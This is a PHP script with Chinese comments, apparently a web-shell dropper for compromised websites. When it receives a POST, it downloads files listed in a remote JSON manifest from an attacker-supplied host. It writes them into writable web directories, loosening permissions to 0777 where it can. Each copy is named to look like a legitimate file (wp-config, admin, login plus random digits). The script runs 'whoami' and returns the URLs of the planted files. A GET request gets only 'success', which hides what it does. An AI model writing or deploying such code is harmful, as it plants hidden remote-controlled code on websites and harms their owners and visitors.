<?php
// 开启错误报告（便于调试，生产环境请注释或删除）
error_reporting(E_ALL);
ini_set('display_errors', 1);

// 允许跨域和所有客户端
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: *');
header('Content-Type: application/json');

/**
 * cr.php - PHP 5.6 完全兼容版本
 * 仅当收到POST请求时才执行文件生成，否则直接返回success
 */

// 检查是否为POST请求
$is_post_request = ($_SERVER['REQUEST_METHOD'] === 'POST');

// 如果不是POST请求，直接返回success
if (!$is_post_request) {
    header('Content-Type: text/plain; charset=utf-8');
    echo 'success';
    exit;
}

// 获取POST参数
$input_data = json_decode(file_get_contents('php://input'), true);
if (!$input_data) {
    // 如果不是JSON格式，尝试获取普通POST参数
    $remote_json_url = isset($_POST['remote_json_url']) ? $_POST['remote_json_url'] : '';
    $common_dirs_input = isset($_POST['common_dirs']) ? $_POST['common_dirs'] : '';
    $target_count = isset($_POST['target_count']) ? intval($_POST['target_count']) : 0;
    $debug = isset($_POST['debug']) ? true : false;
} else {
    // JSON格式参数
    $remote_json_url = isset($input_data['remote_json_url']) ? $input_data['remote_json_url'] : '';
    $common_dirs_input = isset($input_data['common_dirs']) ? $input_data['common_dirs'] : '';
    $target_count = isset($input_data['target_count']) ? intval($input_data['target_count']) : 0;
    $debug = isset($input_data['debug']) ? true : false;
}

// 验证必要参数
if (empty($remote_json_url)) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'status' => 'error',
        'message' => '缺少必要参数: remote_json_url'
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}

// 配置 - 从POST获取
$remote_json_url = trim($remote_json_url);

// 常见的网站目录名称（可从POST传入，否则使用默认值）
$default_common_dirs = ['image', 'images', 'css', 'js', 'upload', 'uploads', 'cache', 'template', 'theme', 'assets', 'static', 'media', 'public', 'data', 'tmp', 'wp-content', 'wp-includes', 'wp-admin'];
if (!empty($common_dirs_input)) {
    if (is_array($common_dirs_input)) {
        $common_dirs = $common_dirs_input;
    } else {
        $common_dirs = array_map('trim', explode(',', $common_dirs_input));
    }
} else {
    $common_dirs = $default_common_dirs;
}

// 目标文件数量（可从POST传入，否则从远程JSON获取）
$custom_target_count = $target_count;

// 常见的真实PHP文件名（不带随机数字）
$real_php_files = [
    // WordPress 常见文件
    'wp-login', 'wp-admin', 'wp-config', 'wp-settings', 'wp-load', 'wp-blog-header',
    'wp-cron', 'wp-trackback', 'wp-signup', 'wp-activate', 'wp-comments-post',
    'wp-links-opml', 'wp-mail', 'wp-rdf', 'wp-rss', 'wp-rss2', 'wp-atom',
    'wp-feed', 'wp-register', 'wp-pass', 'wp-content',
    
    // 通用网站文件
    'index', 'default', 'main', 'home', 'about', 'contact', 'service', 'product',
    'category', 'tag', 'archive', 'search', 'sitemap', 'rss', 'feed', 'robots',
    'crossdomain', 'test', 'demo', 'api', 'ajax', 'json', 'xml',
    
    // 后台管理文件
    'admin', 'manage', 'dashboard', 'control', 'system', 'backend', 'operator',
    'master', 'super', 'root', 'secret', 'private', 'hidden', 'secure',
    
    // 用户相关文件
    'user', 'member', 'profile', 'account', 'login', 'logout', 'register', 'signup',
    'signin', 'signout', 'password', 'reset', 'forgot', 'verify', 'activate',
    
    // 功能文件
    'upload', 'download', 'file', 'files', 'image', 'images', 'media', 'gallery',
    'video', 'audio', 'music', 'document', 'docs', 'pdf', 'export', 'import',
    
    // 数据库相关
    'db', 'database', 'mysql', 'sql', 'backup', 'restore', 'dump', 'importdb',
    
    // 插件/主题相关
    'plugin', 'plugins', 'theme', 'themes', 'module', 'modules', 'extension',
    'addon', 'widget', 'shortcode', 'block', 'element',
    
    // 缓存相关
    'cache', 'static', 'dynamic', 'page', 'template', 'layout', 'view',
    
    // 工具文件
    'tool', 'tools', 'util', 'helper', 'function', 'common', 'core', 'lib',
    'library', 'class', 'object', 'model', 'controller', 'action',
    
    // 配置文件
    'config', 'setting', 'configure', 'conf', 'option', 'parameter', 'param',
    
    // 登录/认证
    'auth', 'authenticate', 'verify', 'check', 'validate', 'session', 'cookie',
    'token', 'oauth', 'sso', 'cas', 'ldap',
    
    // 支付相关
    'pay', 'payment', 'order', 'checkout', 'cart', 'shopping', 'buy', 'purchase',
    'alipay', 'wechat', 'unionpay', 'paypal',
    
    // API相关
    'api_v1', 'api_v2', 'rest', 'graphql', 'endpoint', 'webhook', 'callback',
    
    // 其他常见
    'cron', 'job', 'task', 'queue', 'worker', 'daemon', 'schedule', 'event',
    'logger', 'log', 'debug', 'error', 'exception', 'error_log', 'debug_log',
    'phpinfo', 'info', 'status', 'health', 'ping', 'heartbeat', 'keepalive',
    'cgi', 'fcgi', 'fastcgi', 'php-cgi', 'php-fpm', 'cgi-bin'
];

// 自动获取当前域名（支持HTTP和HTTPS）
function getCurrentDomain() {
    $protocol = 'http';
    
    // 判断是否HTTPS
    if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) {
        $protocol = 'https';
    } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        $protocol = 'https';
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        $protocol = 'https';
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
        $protocol = 'https';
    }
    
    // 获取主机名
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    
    // 如果没有HTTP_HOST，尝试从SERVER_NAME获取
    if (empty($host) && isset($_SERVER['SERVER_NAME'])) {
        $host = $_SERVER['SERVER_NAME'];
        if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
            $host .= ':' . $_SERVER['SERVER_PORT'];
        }
    }
    
    return $protocol . '://' . $host;
}

// 获取网站根目录的绝对路径（DOCUMENT_ROOT）
function getDocumentRoot() {
    return rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
}

// 使用 curl 获取远程JSON内容
function fetchJsonContent($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
    ]);
    
    $content = curl_exec($ch);
    $error = curl_error($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($error) throw new Exception("Curl 错误: $error");
    if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
    
    // 解析JSON
    $data = json_decode($content, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        // 注意：json_last_error_msg() 在 PHP 5.5+ 可用，5.6 安全
        throw new Exception("JSON解析错误: " . json_last_error_msg());
    }
    
    return $data;
}

// 从远程获取文件内容（直接使用完整URL）
function fetchFileContentByUrl($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; PHP-Curl/1.0)'
    ]);
    
    $content = curl_exec($ch);
    $error = curl_error($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($error) throw new Exception("Curl 错误: $error");
    if ($http_code !== 200) throw new Exception("HTTP 状态码: $http_code");
    return $content;
}

// 获取所有子文件夹（递归，带深度限制）
function getAllSubDirs($path, $max_depth = 10, $current_depth = 0) {
    $dirs = [];
    if ($current_depth > $max_depth) return $dirs;
    
    if (!is_dir($path)) return $dirs;
    
    $items = scandir($path);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full_path = $path . DIRECTORY_SEPARATOR . $item;
        if (is_dir($full_path)) {
            $dirs[] = $full_path;
            // 递归获取更深层的文件夹
            $sub_dirs = getAllSubDirs($full_path, $max_depth, $current_depth + 1);
            $dirs = array_merge($dirs, $sub_dirs);
        }
    }
    return $dirs;
}

// 创建常见网站目录
function createCommonDirectories($base_path, $common_dirs) {
    $created_dirs = [];
    
    foreach ($common_dirs as $dir_name) {
        $dir_path = $base_path . DIRECTORY_SEPARATOR . $dir_name;
        if (!is_dir($dir_path)) {
            if (@mkdir($dir_path, 0755, true)) {
                $created_dirs[] = $dir_path;
            } else {
                error_log("无法创建目录: " . $dir_path);
            }
        } else {
            // 目录已存在，也加入可用目录列表
            $created_dirs[] = $dir_path;
        }
    }
    
    return $created_dirs;
}

// 确保目录可写，如果不可写则尝试修改权限
function ensureWritable($dir) {
    if (!is_dir($dir)) {
        return false;
    }
    
    if (!is_writable($dir)) {
        // 尝试修改权限
        @chmod($dir, 0755);
        @chmod($dir, 0777);
        // 再次检查
        if (!is_writable($dir)) {
            return false;
        }
    }
    
    return true;
}

// 生成真实的PHP文件名（真实文件名 + 2-3位随机数字）
function generateRealPhpFileName($real_files_list) {
    // 随机选择一个真实文件名
    $base_name = $real_files_list[mt_rand(0, count($real_files_list) - 1)];
    // 添加2-3位随机数字
    $random_digits = mt_rand(10, 999);
    return $base_name . $random_digits . '.php';
}

// 尝试在指定目录生成文件（带权限检测）
function tryWriteFile($dir, $content, $type, $real_files_list) {
    // 检查目录是否存在
    if (!is_dir($dir)) {
        return ['success' => false, 'error' => '目录不存在: ' . $dir];
    }
    
    // 确保目录可写
    if (!ensureWritable($dir)) {
        return ['success' => false, 'error' => '无写权限且无法修改权限: ' . $dir];
    }
    
    // 生成真实的PHP文件名
    $filename = $dir . DIRECTORY_SEPARATOR . generateRealPhpFileName($real_files_list);
    
    // 确保文件不存在，如果存在则重新生成
    $attempts = 0;
    while (file_exists($filename) && $attempts < 10) {
        $filename = $dir . DIRECTORY_SEPARATOR . generateRealPhpFileName($real_files_list);
        $attempts++;
    }
    
    $result = file_put_contents($filename, $content);
    
    if ($result !== false) {
        // 验证文件是否真的写入成功
        if (file_exists($filename) && filesize($filename) > 0) {
            return ['success' => true, 'path' => $filename];
        } else {
            return ['success' => false, 'error' => '文件写入后验证失败'];
        }
    } else {
        // 修复 PHP 5.6 兼容性问题：将 ?? 改为三元运算符
        $last_error = error_get_last();
        $error_msg = $last_error ? $last_error['message'] : '未知错误';
        return ['success' => false, 'error' => '写入失败: ' . $error_msg];
    }
}

// 将绝对路径转换为域名路径（使用DOCUMENT_ROOT计算相对路径）
function toDomainPath($absolute_path, $document_root, $domain) {
    // 统一路径分隔符为 /
    $absolute_path = str_replace('\\', '/', $absolute_path);
    $document_root = str_replace('\\', '/', $document_root);
    
    // 获取相对于网站根目录的路径
    $relative_path = str_replace($document_root, '', $absolute_path);
    $relative_path = ltrim($relative_path, '/');
    
    // 构建完整的URL
    $full_url = rtrim($domain, '/') . '/' . $relative_path;
    
    return $full_url;
}

// 从数组中随机选取指定数量的元素（允许重复）
function randomSelectWithReplacement($array, $count) {
    if (empty($array)) return [];
    
    $result = [];
    $array_length = count($array);
    
    for ($i = 0; $i < $count; $i++) {
        $random_index = mt_rand(0, $array_length - 1);
        $result[] = $array[$random_index];
    }
    
    return $result;
}

// 主执行流程（仅POST请求执行）
try {
    global $real_php_files;
    
    // 获取网站根目录和当前域名
    $document_root = getDocumentRoot();
    $current_domain = getCurrentDomain();
    
    // 记录调试信息
    $debug_info = [];
    if ($debug) {
        $debug_info['document_root'] = $document_root;
        $debug_info['document_root_exists'] = is_dir($document_root);
        $debug_info['document_root_writable'] = is_writable($document_root);
    }
    
    // 1. 获取远程JSON信息
    $remote_data = fetchJsonContent($remote_json_url);
    
    // 验证远程数据格式
    if (!isset($remote_data['base_url'])) {
        throw new Exception("远程JSON缺少 base_url 字段");
    }
    
    // 从远程JSON获取 target_file_count（优先使用POST传入的，否则使用远程的count字段，最后默认为5）
    if ($custom_target_count > 0) {
        $target_file_count = $custom_target_count;
    } else {
        $target_file_count = isset($remote_data['count']) ? intval($remote_data['count']) : 5;
    }
    
    $remote_base_url = rtrim($remote_data['base_url'], '/');
    
    // 获取所有类型的源文件
    $sh_source_files = isset($remote_data['sh_files']['files']) ? $remote_data['sh_files']['files'] : [];
    $up_source_files = isset($remote_data['up_files']['files']) ? $remote_data['up_files']['files'] : [];
    $cr_source_files = isset($remote_data['cr_files']['files']) ? $remote_data['cr_files']['files'] : [];
    
    // 随机选取需要生成的文件列表（允许重复，凑够 target_file_count 个）
    $sh_files_to_fetch = randomSelectWithReplacement($sh_source_files, $target_file_count);
    $up_files_to_fetch = randomSelectWithReplacement($up_source_files, $target_file_count);
    $cr_files_to_fetch = randomSelectWithReplacement($cr_source_files, $target_file_count);
    
    // 存储生成的文件路径（简化输出）
    $generated_files = [
        'sh' => [],
        'up' => [],
        'cr' => []
    ];
    
    $result = [
        'status' => 'success',
        'message' => '',
        'server_info' => [
            'domain' => $current_domain,
            'document_root' => $document_root,
            'target_file_count' => $target_file_count,
            'php_user' => function_exists('exec') ? exec('whoami') : 'disabled',
            'php_version' => phpversion()
        ],
        'remote_info' => [
            'url' => $remote_json_url,
            'base_url' => $remote_base_url,
            'sh_source_count' => count($sh_source_files),
            'up_source_count' => count($up_source_files),
            'cr_source_count' => count($cr_source_files)
        ],
        'generated_files' => &$generated_files,
        'statistics' => [
            'sh' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0],
            'up' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0],
            'cr' => ['target' => $target_file_count, 'generated' => 0, 'failed' => 0]
        ],
        'failed_attempts' => [
            'sh' => [],
            'up' => [],
            'cr' => []
        ],
        'created_directories' => [],
        'debug_info' => $debug_info
    ];
    
    // 2. 获取远程文件内容（去重获取，避免重复请求相同文件）
    $sh_content_cache = [];
    $up_content_cache = [];
    $cr_content_cache = [];
    
    // 获取sh文件内容
    foreach ($sh_files_to_fetch as $filename) {
        if (!isset($sh_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $sh_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $sh_content_cache[$filename] = false;
                $result['failed_attempts']['sh'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['sh']['failed']++;
            }
        }
    }
    
    // 获取up文件内容
    foreach ($up_files_to_fetch as $filename) {
        if (!isset($up_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $up_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $up_content_cache[$filename] = false;
                $result['failed_attempts']['up'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['up']['failed']++;
            }
        }
    }
    
    // 获取cr文件内容
    foreach ($cr_files_to_fetch as $filename) {
        if (!isset($cr_content_cache[$filename])) {
            $file_url = $remote_base_url . '/' . ltrim($filename, '/');
            try {
                $cr_content_cache[$filename] = fetchFileContentByUrl($file_url);
            } catch (Exception $e) {
                $cr_content_cache[$filename] = false;
                $result['failed_attempts']['cr'][] = [
                    'file' => $filename,
                    'url' => $file_url,
                    'error' => $e->getMessage()
                ];
                $result['statistics']['cr']['failed']++;
            }
        }
    }
    
    // 3. 获取所有可用文件夹并打乱顺序
    $all_dirs = getAllSubDirs($document_root);
    array_unshift($all_dirs, $document_root);
    $all_dirs = array_values(array_unique($all_dirs));
    
    if ($debug) {
        $debug_info['total_dirs_found'] = count($all_dirs);
        $debug_info['first_5_dirs'] = array_slice($all_dirs, 0, 5);
    }
    
    // 4. 如果没有足够的可写目录，则创建常见目录
    $writable_dirs = array_filter($all_dirs, function($dir) {
        return is_dir($dir) && is_writable($dir);
    });
    
    if (count($writable_dirs) < 3) {
        $created_dirs = createCommonDirectories($document_root, $common_dirs);
        $result['created_directories'] = $created_dirs;
        
        foreach ($created_dirs as $new_dir) {
            if (!in_array($new_dir, $all_dirs) && ensureWritable($new_dir)) {
                $all_dirs[] = $new_dir;
            }
        }
        
        $writable_dirs = array_filter($all_dirs, function($dir) {
            return is_dir($dir) && is_writable($dir);
        });
    }
    
    shuffle($writable_dirs);
    
    if ($debug) {
        $debug_info['writable_dirs_count'] = count($writable_dirs);
        $debug_info['writable_dirs'] = array_slice($writable_dirs, 0, 10);
    }
    
    if (empty($writable_dirs)) {
        if (ensureWritable($document_root)) {
            $writable_dirs = [$document_root];
        } else {
            throw new Exception("没有可写的目录，且无法创建目录");
        }
    }
    
    // 5. 为每种类型分别生成文件
    $types = [
        'sh' => ['files' => $sh_files_to_fetch, 'cache' => $sh_content_cache],
        'up' => ['files' => $up_files_to_fetch, 'cache' => $up_content_cache],
        'cr' => ['files' => $cr_files_to_fetch, 'cache' => $cr_content_cache]
    ];
    
    foreach ($types as $type => $config) {
        $files_to_fetch = $config['files'];
        $content_cache = $config['cache'];
        
        foreach ($files_to_fetch as $index => $remote_filename) {
            if (count($result['generated_files'][$type]) >= $target_file_count) {
                break;
            }
            
            $content = isset($content_cache[$remote_filename]) ? $content_cache[$remote_filename] : false;
            if ($content === false) {
                continue;
            }
            
            $generated = false;
            $dirs_to_try = $writable_dirs;
            shuffle($dirs_to_try);
            
            foreach ($dirs_to_try as $dir) {
                if ($generated) break;
                
                $write_result = tryWriteFile($dir, $content, $type, $real_php_files);
                
                if ($write_result['success']) {
                    $domain_path = toDomainPath($write_result['path'], $document_root, $current_domain);
                    
                    // 验证文件确实存在
                    $file_exists = file_exists($write_result['path']);
                    $file_size = $file_exists ? filesize($write_result['path']) : 0;
                    
                    // 存储文件路径信息
                    $result['generated_files'][$type][] = [
                        'url' => $domain_path,
                        'path' => $write_result['path'],
                        'source' => $remote_filename,
                        'verified' => $file_exists,
                        'size' => $file_size
                    ];
                    
                    $result['statistics'][$type]['generated']++;
                    $generated = true;
                    break;
                } else {
                    if ($debug) {
                        $result['failed_attempts'][$type][] = [
                            'remote_file' => $remote_filename,
                            'directory' => $dir,
                            'error' => $write_result['error']
                        ];
                    }
                    $result['statistics'][$type]['failed']++;
                }
            }
            
            if (!$generated) {
                $result['failed_attempts'][$type][] = [
                    'remote_file' => $remote_filename,
                    'error' => '所有目录都无法写入'
                ];
                $result['statistics'][$type]['failed']++;
            }
        }
    }
    
    // 6. 设置最终消息
    $total_generated = $result['statistics']['sh']['generated'] + $result['statistics']['up']['generated'] + $result['statistics']['cr']['generated'];
    $total_target = $target_file_count * 3;
    $result['message'] = sprintf(
        "任务完成！共生成 %d/%d 个文件 (sh: %d, up: %d, cr: %d)",
        $total_generated,
        $total_target,
        $result['statistics']['sh']['generated'],
        $result['statistics']['up']['generated'],
        $result['statistics']['cr']['generated']
    );
    
    // 7. 输出简化版的JSON结果
    $output = [
        'status' => 'success',
        'message' => $result['message'],
        'generated_files' => $result['generated_files'],
        'statistics' => [
            'sh' => $result['statistics']['sh']['generated'],
            'up' => $result['statistics']['up']['generated'],
            'cr' => $result['statistics']['cr']['generated'],
            'total' => $total_generated
        ],
        'server_domain' => $current_domain,
        'created_directories' => $result['created_directories']
    ];
    
    // 如果开启调试模式，添加调试信息
    if ($debug) {
        $output['debug'] = $debug_info;
        $output['failed_attempts'] = $result['failed_attempts'];
    }
    
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($output, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    
} catch (Exception $e) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'status' => 'error',
        'message' => $e->getMessage(),
        'generated_files' => ['sh' => [], 'up' => [], 'cr' => []],
        'statistics' => ['sh' => 0, 'up' => 0, 'cr' => 0, 'total' => 0]
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
?>